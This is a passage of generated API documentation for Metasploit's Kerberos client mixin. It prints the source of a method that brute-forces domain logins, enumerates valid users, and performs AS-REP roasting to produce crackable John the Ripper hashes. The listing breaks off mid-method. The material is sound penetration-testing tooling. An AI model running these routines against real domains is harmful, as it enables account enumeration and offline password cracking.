|
|
|
|
<h3 class="inherited">Methods included from <span class='object_link'><a href="Client/TgsResponse.html" title="Msf::Exploit::Remote::Kerberos::Client::TgsResponse (module)">Client::TgsResponse</a></span></h3>
|
|
<p class="inherited"><span class='object_link'><a href="Client/TgsResponse.html#decrypt_kdc_tgs_rep_enc_part-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::TgsResponse#decrypt_kdc_tgs_rep_enc_part (method)">#decrypt_kdc_tgs_rep_enc_part</a></span>, <span class='object_link'><a href="Client/TgsResponse.html#extract_kerb_creds-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::TgsResponse#extract_kerb_creds (method)">#extract_kerb_creds</a></span>, <span class='object_link'><a href="Client/TgsResponse.html#format_tgs_rep_to_john_hash-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::TgsResponse#format_tgs_rep_to_john_hash (method)">#format_tgs_rep_to_john_hash</a></span></p>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<h3 class="inherited">Methods included from <span class='object_link'><a href="Client/TgsRequest.html" title="Msf::Exploit::Remote::Kerberos::Client::TgsRequest (module)">Client::TgsRequest</a></span></h3>
|
|
<p class="inherited"><span class='object_link'><a href="Client/TgsRequest.html#build_ap_req-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::TgsRequest#build_ap_req (method)">#build_ap_req</a></span>, <span class='object_link'><a href="Client/TgsRequest.html#build_authenticator-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::TgsRequest#build_authenticator (method)">#build_authenticator</a></span>, <span class='object_link'><a href="Client/TgsRequest.html#build_enc_auth_data-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::TgsRequest#build_enc_auth_data (method)">#build_enc_auth_data</a></span>, <span class='object_link'><a href="Client/TgsRequest.html#build_pa_for_user-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::TgsRequest#build_pa_for_user (method)">#build_pa_for_user</a></span>, <span class='object_link'><a href="Client/TgsRequest.html#build_subkey-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::TgsRequest#build_subkey (method)">#build_subkey</a></span>, <span class='object_link'><a href="Client/TgsRequest.html#build_tgs_body_checksum-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::TgsRequest#build_tgs_body_checksum (method)">#build_tgs_body_checksum</a></span>, <span class='object_link'><a href="Client/TgsRequest.html#build_tgs_request-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::TgsRequest#build_tgs_request (method)">#build_tgs_request</a></span>, <span class='object_link'><a href="Client/TgsRequest.html#build_tgs_request_body-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::TgsRequest#build_tgs_request_body (method)">#build_tgs_request_body</a></span></p>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<h3 class="inherited">Methods included from <span class='object_link'><a href="Client/AsResponse.html" title="Msf::Exploit::Remote::Kerberos::Client::AsResponse (module)">Client::AsResponse</a></span></h3>
|
|
<p class="inherited"><span class='object_link'><a href="Client/AsResponse.html#decrypt_kdc_as_rep_enc_part-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::AsResponse#decrypt_kdc_as_rep_enc_part (method)">#decrypt_kdc_as_rep_enc_part</a></span>, <span class='object_link'><a href="Client/AsResponse.html#extract_logon_time-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::AsResponse#extract_logon_time (method)">#extract_logon_time</a></span>, <span class='object_link'><a href="Client/AsResponse.html#extract_session_key-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::AsResponse#extract_session_key (method)">#extract_session_key</a></span>, <span class='object_link'><a href="Client/AsResponse.html#format_as_rep_to_john_hash-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::AsResponse#format_as_rep_to_john_hash (method)">#format_as_rep_to_john_hash</a></span></p>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<h3 class="inherited">Methods included from <span class='object_link'><a href="Client/AsRequest.html" title="Msf::Exploit::Remote::Kerberos::Client::AsRequest (module)">Client::AsRequest</a></span></h3>
|
|
<p class="inherited"><span class='object_link'><a href="Client/AsRequest.html#build_as_pa_time_stamp-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::AsRequest#build_as_pa_time_stamp (method)">#build_as_pa_time_stamp</a></span>, <span class='object_link'><a href="Client/AsRequest.html#build_as_request-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::AsRequest#build_as_request (method)">#build_as_request</a></span>, <span class='object_link'><a href="Client/AsRequest.html#build_as_request_body-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::AsRequest#build_as_request_body (method)">#build_as_request_body</a></span></p>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<h3 class="inherited">Methods included from <span class='object_link'><a href="Client/ApRequest.html" title="Msf::Exploit::Remote::Kerberos::Client::ApRequest (module)">Client::ApRequest</a></span></h3>
|
|
<p class="inherited"><span class='object_link'><a href="Client/ApRequest.html#build_service_ap_request-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::ApRequest#build_service_ap_request (method)">#build_service_ap_request</a></span>, <span class='object_link'><a href="Client/ApRequest.html#encode_gss_kerberos_ap_request-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::ApRequest#encode_gss_kerberos_ap_request (method)">#encode_gss_kerberos_ap_request</a></span>, <span class='object_link'><a href="Client/ApRequest.html#encode_gss_spnego_ap_request-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::ApRequest#encode_gss_spnego_ap_request (method)">#encode_gss_spnego_ap_request</a></span></p>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<h3 class="inherited">Methods included from <span class='object_link'><a href="Client/Base.html" title="Msf::Exploit::Remote::Kerberos::Client::Base (module)">Client::Base</a></span></h3>
|
|
<p class="inherited"><span class='object_link'><a href="Client/Base.html#build_client_name-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::Base#build_client_name (method)">#build_client_name</a></span>, <span class='object_link'><a href="Client/Base.html#build_server_name-instance_method" title="Msf::Exploit::Remote::Kerberos::Client::Base#build_server_name (method)">#build_server_name</a></span></p>
|
|
|
|
|
|
<div id="instance_method_details" class="method_details_list">
|
|
<h2>Instance Method Details</h2>
|
|
|
|
|
|
<div class="method_details first">
|
|
<h3 class="signature first" id="attempt_kerberos_logins-instance_method">
|
|
|
|
#<strong>attempt_kerberos_logins</strong> ⇒ <tt>Object</tt>
|
|
|
|
|
|
|
|
|
|
|
|
</h3><table class="source_code">
|
|
<tr>
|
|
<td>
|
|
<pre class="lines">
|
|
|
|
|
|
29
|
|
30
|
|
31
|
|
32
|
|
33
|
|
34
|
|
35
|
|
36
|
|
37
|
|
38
|
|
39
|
|
40
|
|
41
|
|
42
|
|
43
|
|
44
|
|
45
|
|
46
|
|
47
|
|
48
|
|
49
|
|
50
|
|
51
|
|
52
|
|
53
|
|
54
|
|
55
|
|
56
|
|
57
|
|
58
|
|
59
|
|
60
|
|
61
|
|
62
|
|
63
|
|
64
|
|
65
|
|
66
|
|
67
|
|
68
|
|
69
|
|
70
|
|
71
|
|
72
|
|
73
|
|
74
|
|
75
|
|
76
|
|
77
|
|
78
|
|
79
|
|
80
|
|
81
|
|
82
|
|
83
|
|
84
|
|
85
|
|
86
|
|
87
|
|
88
|
|
89
|
|
90
|
|
91
|
|
92
|
|
93
|
|
94
|
|
95
|
|
96
|
|
97
|
|
98
|
|
99
|
|
100
|
|
101
|
|
102
|
|
103
|
|
104
|
|
105
|
|
106
|
|
107
|
|
108
|
|
109
|
|
110
|
|
111
|
|
112
|
|
113
|
|
114
|
|
115
|
|
116
|
|
117
|
|
118
|
|
119
|
|
120
|
|
121
|
|
122
|
|
123
|
|
124</pre>
|
|
</td>
|
|
<td>
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/kerberos/auth_brute.rb', line 29</span>
|
|
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_attempt_kerberos_logins'>attempt_kerberos_logins</span>
|
|
<span class='id identifier rubyid_domain'>domain</span> <span class='op'>=</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>DOMAIN</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_upcase'>upcase</span>
|
|
<span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Using domain: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_domain'>domain</span><span class='embexpr_end'>}</span><span class='tstring_content'> - </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'>...</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
|
|
<span class='id identifier rubyid_cred_collection'>cred_collection</span> <span class='op'>=</span> <span class='id identifier rubyid_build_credential_collection'>build_credential_collection</span><span class='lparen'>(</span>
|
|
<span class='label'>username:</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>USERNAME</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='comma'>,</span>
|
|
<span class='label'>password:</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PASSWORD</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='comma'>,</span>
|
|
<span class='label'>realm:</span> <span class='id identifier rubyid_domain'>domain</span><span class='comma'>,</span>
|
|
<span class='rparen'>)</span>
|
|
|
|
<span class='comment'># If there are credential pairs due to no password/password list being supplied, default to using nil passwords to attempt AS-REP roasting
|
|
</span> <span class='kw'>if</span> <span class='id identifier rubyid_cred_collection'>cred_collection</span><span class='period'>.</span><span class='id identifier rubyid_empty?'>empty?</span>
|
|
<span class='id identifier rubyid_cred_collection'>cred_collection</span><span class='period'>.</span><span class='id identifier rubyid_nil_passwords'>nil_passwords</span> <span class='op'>=</span> <span class='kw'>true</span>
|
|
<span class='kw'>end</span>
|
|
|
|
<span class='id identifier rubyid_attempted_users'>attempted_users</span> <span class='op'>=</span> <span class='const'>Set</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span>
|
|
<span class='id identifier rubyid_scanner'>scanner</span> <span class='op'>=</span> <span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Metasploit.html" title="Metasploit (module)">Metasploit</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Metasploit/Framework.html" title="Metasploit::Framework (module)">Framework</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Metasploit/Framework/LoginScanner.html" title="Metasploit::Framework::LoginScanner (module)">LoginScanner</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Metasploit/Framework/LoginScanner/Kerberos.html" title="Metasploit::Framework::LoginScanner::Kerberos (class)">Kerberos</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="Client.html#initialize-instance_method" title="Msf::Exploit::Remote::Kerberos::Client#initialize (method)">new</a></span></span><span class='lparen'>(</span>
|
|
<span class='label'>host:</span> <span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_rhost'>rhost</span><span class='comma'>,</span>
|
|
<span class='label'>port:</span> <span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_rport'>rport</span><span class='comma'>,</span>
|
|
<span class='label'>proxies:</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Proxies</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='comma'>,</span>
|
|
<span class='label'>server_name:</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>krbtgt/</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_domain'>domain</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='comma'>,</span>
|
|
<span class='label'>cred_details:</span> <span class='id identifier rubyid_cred_collection'>cred_collection</span><span class='comma'>,</span>
|
|
<span class='label'>stop_on_success:</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>STOP_ON_SUCCESS</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='comma'>,</span>
|
|
<span class='label'>connection_timeout:</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Timeout</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='comma'>,</span>
|
|
<span class='label'>framework:</span> <span class='id identifier rubyid_framework'>framework</span><span class='comma'>,</span>
|
|
<span class='label'>framework_module:</span> <span class='kw'>self</span><span class='comma'>,</span>
|
|
<span class='label'>clock_skew:</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>KrbClockSkew</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
|
<span class='rparen'>)</span>
|
|
|
|
<span class='id identifier rubyid_scanner'>scanner</span><span class='period'>.</span><span class='id identifier rubyid_scan!'>scan!</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_result'>result</span><span class='op'>|</span>
|
|
<span class='id identifier rubyid_user'>user</span> <span class='op'>=</span> <span class='id identifier rubyid_result'>result</span><span class='period'>.</span><span class='id identifier rubyid_credential'>credential</span><span class='period'>.</span><span class='id identifier rubyid_public'>public</span>
|
|
<span class='id identifier rubyid_password'>password</span> <span class='op'>=</span> <span class='id identifier rubyid_result'>result</span><span class='period'>.</span><span class='id identifier rubyid_credential'>credential</span><span class='period'>.</span><span class='id identifier rubyid_private'>private</span>
|
|
<span class='id identifier rubyid_peer'>peer</span> <span class='op'>=</span> <span class='id identifier rubyid_result'>result</span><span class='period'>.</span><span class='id identifier rubyid_host'>host</span>
|
|
<span class='id identifier rubyid_proof'>proof</span> <span class='op'>=</span> <span class='id identifier rubyid_result'>result</span><span class='period'>.</span><span class='id identifier rubyid_proof'>proof</span>
|
|
|
|
<span class='kw'>case</span> <span class='id identifier rubyid_result'>result</span><span class='period'>.</span><span class='id identifier rubyid_status'>status</span>
|
|
<span class='kw'>when</span> <span class='const'><span class='object_link'><a href="../../../../Metasploit.html" title="Metasploit (module)">Metasploit</a></span></span><span class='op'>::</span><span class='const'>Model</span><span class='op'>::</span><span class='const'>Login</span><span class='op'>::</span><span class='const'>Status</span><span class='op'>::</span><span class='const'>SUCCESSFUL</span>
|
|
<span class='kw'>case</span> <span class='id identifier rubyid_proof'>proof</span>
|
|
<span class='kw'>when</span> <span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto.html" title="Rex::Proto (module)">Proto</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos.html" title="Rex::Proto::Kerberos (module)">Kerberos</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model.html" title="Rex::Proto::Kerberos::Model (module)">Model</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error.html" title="Rex::Proto::Kerberos::Model::Error (module)">Error</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error/KerberosError.html" title="Rex::Proto::Kerberos::Model::Error::KerberosError (class)">KerberosError</a></span></span>
|
|
<span class='id identifier rubyid_print_good'>print_good</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User found: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> with password </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_password'>password</span><span class='embexpr_end'>}</span><span class='tstring_content'>, but no ticket received (</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_proof'>proof</span><span class='embexpr_end'>}</span><span class='tstring_content'>)</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='id identifier rubyid_report_cred'>report_cred</span><span class='lparen'>(</span><span class='label'>user:</span> <span class='id identifier rubyid_user'>user</span><span class='comma'>,</span> <span class='label'>password:</span> <span class='id identifier rubyid_password'>password</span><span class='rparen'>)</span>
|
|
<span class='kw'>when</span> <span class='const'><span class='object_link'><a href="../../../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../Remote.html" title="Msf::Exploit::Remote (class)">Remote</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Kerberos.html" title="Msf::Exploit::Remote::Kerberos (module)">Kerberos</a></span></span><span class='op'>::</span><span class='const'>Model</span><span class='op'>::</span><span class='const'>TgtResponse</span>
|
|
<span class='id identifier rubyid_hash'>hash</span> <span class='op'>=</span> <span class='id identifier rubyid_format_as_rep_to_john_hash'>format_as_rep_to_john_hash</span><span class='lparen'>(</span><span class='id identifier rubyid_proof'>proof</span><span class='period'>.</span><span class='id identifier rubyid_as_rep'>as_rep</span><span class='rparen'>)</span>
|
|
|
|
<span class='comment'># Accounts that have 'Do not require Kerberos preauthentication' enabled, will receive an ASREP response with a
|
|
</span> <span class='comment'># ticket present without requiring a password. This can be cracked offline.
|
|
</span> <span class='kw'>if</span> <span class='id identifier rubyid_proof'>proof</span><span class='period'>.</span><span class='id identifier rubyid_decrypted_part'>decrypted_part</span><span class='period'>.</span><span class='id identifier rubyid_nil?'>nil?</span>
|
|
<span class='id identifier rubyid_print_good'>print_good</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> does not require preauthentication. Hash: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_hash'>hash</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='kw'>else</span>
|
|
<span class='id identifier rubyid_print_good'>print_good</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User found: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> with password </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_password'>password</span><span class='embexpr_end'>}</span><span class='tstring_content'>. Hash: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_hash'>hash</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='id identifier rubyid_ccache'>ccache</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto.html" title="Rex::Proto (module)">Proto</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos.html" title="Rex::Proto::Kerberos (module)">Kerberos</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/CredentialCache.html" title="Rex::Proto::Kerberos::CredentialCache (module)">CredentialCache</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/CredentialCache/Krb5Ccache.html" title="Rex::Proto::Kerberos::CredentialCache::Krb5Ccache (class)">Krb5Ccache</a></span></span><span class='period'>.</span><span class='id identifier rubyid_from_responses'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/CredentialCache/Krb5Ccache.html#from_responses-class_method" title="Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.from_responses (method)">from_responses</a></span></span><span class='lparen'>(</span><span class='id identifier rubyid_result'>result</span><span class='period'>.</span><span class='id identifier rubyid_proof'>proof</span><span class='period'>.</span><span class='id identifier rubyid_as_rep'>as_rep</span><span class='comma'>,</span> <span class='id identifier rubyid_result'>result</span><span class='period'>.</span><span class='id identifier rubyid_proof'>proof</span><span class='period'>.</span><span class='id identifier rubyid_decrypted_part'>decrypted_part</span><span class='rparen'>)</span>
|
|
<span class='const'><span class='object_link'><a href="../../../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../Remote.html" title="Msf::Exploit::Remote (class)">Remote</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Kerberos.html" title="Msf::Exploit::Remote::Kerberos (module)">Kerberos</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="Ticket.html" title="Msf::Exploit::Remote::Kerberos::Ticket (module)">Ticket</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="Ticket/Storage.html" title="Msf::Exploit::Remote::Kerberos::Ticket::Storage (module)">Storage</a></span></span><span class='period'>.</span><span class='id identifier rubyid_store_ccache'><span class='object_link'><a href="Ticket/Storage.html#store_ccache-class_method" title="Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache (method)">store_ccache</a></span></span><span class='lparen'>(</span><span class='id identifier rubyid_ccache'>ccache</span><span class='comma'>,</span> <span class='label'>host:</span> <span class='id identifier rubyid_rhost'>rhost</span><span class='comma'>,</span> <span class='label'>framework_module:</span> <span class='kw'>self</span><span class='rparen'>)</span>
|
|
<span class='kw'>end</span>
|
|
<span class='id identifier rubyid_report_cred'>report_cred</span><span class='lparen'>(</span><span class='label'>user:</span> <span class='id identifier rubyid_user'>user</span><span class='comma'>,</span> <span class='label'>password:</span> <span class='id identifier rubyid_password'>password</span><span class='comma'>,</span> <span class='label'>asrep:</span> <span class='id identifier rubyid_hash'>hash</span><span class='rparen'>)</span>
|
|
<span class='kw'>else</span>
|
|
<span class='id identifier rubyid_print_good'>print_good</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User found: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> with password </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_password'>password</span><span class='embexpr_end'>}</span><span class='tstring_content'>.</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='id identifier rubyid_report_cred'>report_cred</span><span class='lparen'>(</span><span class='label'>user:</span> <span class='id identifier rubyid_user'>user</span><span class='comma'>,</span> <span class='label'>password:</span> <span class='id identifier rubyid_password'>password</span><span class='rparen'>)</span>
|
|
<span class='kw'>end</span>
|
|
<span class='kw'>when</span> <span class='const'><span class='object_link'><a href="../../../../Metasploit.html" title="Metasploit (module)">Metasploit</a></span></span><span class='op'>::</span><span class='const'>Model</span><span class='op'>::</span><span class='const'>Login</span><span class='op'>::</span><span class='const'>Status</span><span class='op'>::</span><span class='const'>UNABLE_TO_CONNECT</span>
|
|
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> - Unable to connect - </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_proof'>proof</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
|
|
<span class='kw'>when</span> <span class='const'><span class='object_link'><a href="../../../../Metasploit.html" title="Metasploit (module)">Metasploit</a></span></span><span class='op'>::</span><span class='const'>Model</span><span class='op'>::</span><span class='const'>Login</span><span class='op'>::</span><span class='const'>Status</span><span class='op'>::</span><span class='const'>INCORRECT</span><span class='comma'>,</span> <span class='const'><span class='object_link'><a href="../../../../Metasploit.html" title="Metasploit (module)">Metasploit</a></span></span><span class='op'>::</span><span class='const'>Model</span><span class='op'>::</span><span class='const'>Login</span><span class='op'>::</span><span class='const'>Status</span><span class='op'>::</span><span class='const'>INVALID_PUBLIC_PART</span>
|
|
<span class='kw'>if</span> <span class='id identifier rubyid_proof'>proof</span><span class='period'>.</span><span class='id identifier rubyid_error_code'>error_code</span> <span class='op'>==</span> <span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto.html" title="Rex::Proto (module)">Proto</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos.html" title="Rex::Proto::Kerberos (module)">Kerberos</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model.html" title="Rex::Proto::Kerberos::Model (module)">Model</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error.html" title="Rex::Proto::Kerberos::Model::Error (module)">Error</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error/ErrorCodes.html" title="Rex::Proto::Kerberos::Model::Error::ErrorCodes (module)">ErrorCodes</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error/ErrorCodes.html#KDC_ERR_WRONG_REALM-constant" title="Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_WRONG_REALM (constant)">KDC_ERR_WRONG_REALM</a></span></span>
|
|
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> - </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_proof'>proof</span><span class='embexpr_end'>}</span><span class='tstring_content'>. Domain option may be incorrect. Aborting...</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='comment'># Stop further requests entirely
|
|
</span> <span class='kw'>break</span>
|
|
<span class='kw'>elsif</span> <span class='id identifier rubyid_proof'>proof</span><span class='period'>.</span><span class='id identifier rubyid_error_code'>error_code</span> <span class='op'>==</span> <span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto.html" title="Rex::Proto (module)">Proto</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos.html" title="Rex::Proto::Kerberos (module)">Kerberos</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model.html" title="Rex::Proto::Kerberos::Model (module)">Model</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error.html" title="Rex::Proto::Kerberos::Model::Error (module)">Error</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error/ErrorCodes.html" title="Rex::Proto::Kerberos::Model::Error::ErrorCodes (module)">ErrorCodes</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error/ErrorCodes.html#KDC_ERR_PREAUTH_REQUIRED-constant" title="Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED (constant)">KDC_ERR_PREAUTH_REQUIRED</a></span></span>
|
|
<span class='id identifier rubyid_print_good'>print_good</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> is present</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
